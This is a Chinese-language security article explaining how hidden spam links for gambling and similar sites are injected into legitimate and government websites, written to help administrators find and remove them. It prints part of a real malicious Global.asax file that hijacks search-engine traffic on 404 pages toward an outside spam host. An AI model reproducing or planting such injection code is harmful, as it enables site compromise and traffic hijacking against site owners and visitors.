互联网如果是个江湖,那它堪比各种武侠小说里的江湖,风起云涌眼花目眩:有的技术使沟通更顺畅,生活质量更高,有的技术应用却是深藏陷阱,藏污纳垢,专为不义的谋利而来。其中暗链和搜索引擎就是特别有代表性的一门地下生意。
这门地下生意的 「要义」 是:
- 它们的链接多数是非法网站,如赌博、赌场、彩票、地下钱庄、色情站点;
- 它们希望自己的链接获得多多益善的流量,最好的方法就是抱大腿,抱上本身有流量、搜索引擎里排名高的站点;
- 正规站点显然不会愿意添加它们的链接,它们就利用各种网站漏洞,各显神通地把自己的链接硬加到正规站点里;
- 能把访问者直接「绑架」到自己的站点访问是最好的,能获得真实的人气。但这样动静比较大,容易暴露,退而求其次也行,把搜索引擎的流量「绑架」过来,这样自己的排名能上去,也能把一些使用搜索引擎的用户拉过来。
在「2016年第一季度中国政务网站暗链分析报告」 的统计里,全国在线gov.cn类网站监测结果显示,政务类站点中检测出暗链共计547个。根据受暗链攻击站点IP归属地检测结果显示,共有18个省(29个市)有站点存在被暗链攻击现象,涉及44个政府单位管 辖范围,其中市、县级单位占比最多,高达90.9%。18个省级行政区中有14个行政区受博彩类暗链影响最为严重,占发现暗链总数的66.67%;其他影响较大的暗链类型还包括游戏类暗链、广告推销类暗链以及医疗类暗链等。
按照此类规律,在搜索引擎里非常容易就能看到各种正规政府网站域名上,被加入了偏离正轨的各种内容:
无利不起早,这些门类的暗链都涉及很长的利益链,所以这门地下生意一直很兴旺,作案手段也益发多样化。
暗链的作案手法重点在于「暗」——它们在网站上的存在往往非常「暗戳戳」。即使网站管理员收到第三方警告,也未必能很快速地定位问题。我们试探讨总结常见的几种暗链添加手法,希望能抛砖引玉,为技术人员清理和加固系统提供更多思路。
以下几种加暗链的方式,都属于较为间接影响网页内容的方式。除这几种外,也不乏以各种手段,直接修改网页,但把暗链的位置巧妙地置于人类视角之外的作案手法,这种属于页面布局问题,不在本文讨论范畴内。
一、加到隐秘的全局「代码」中
在特定的代码环境中,默认会自动加载一个全局的代码文件,如IIS 6里的 Global.asa
,IIS7中的 Global.asax
,PHP环境里的 auto_prepend_file
和 auto_append_file
配置项。在访问其他的动态代码页面时,也会同时加载这些全局文件。因为单个代码文件里并不需要出现包含这些文件的指令,所以这种加载方式非常隐秘,而这些文件里可以放置完整的asp、aspx 或 php 代码脚本,它能实现非常复杂完整的页面功能,所以危害度极高。如以下这个真实的被非法加入代码的Global.asax文件,就通过这种方式,实现了全站的搜索引擎劫持,并且非常精妙地控制 只劫持不存在页面(404页面)的访问,这样隐秘度更高。
1 //搜索引擎劫持IIS Global.asa 部分内容节选
2 if(ev.GetHttpCode() == 404) //判断是不是404,404的页面才会做手脚
3 {
4 string[] refesString = "sogou,so.com,google,youdao,yahoo,bing,118114,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,sm,uc".ToLower().Split(',');
5 string Path = "http://new.x5618.com/502.php";
6 string jsPath = "http://new.x5618.com/news/js.html";
7 string REFERER = "";
8 string user="";
9 string urls=Request.Url.ToString();
10 string host=Request.Url.Host;
11 if (Request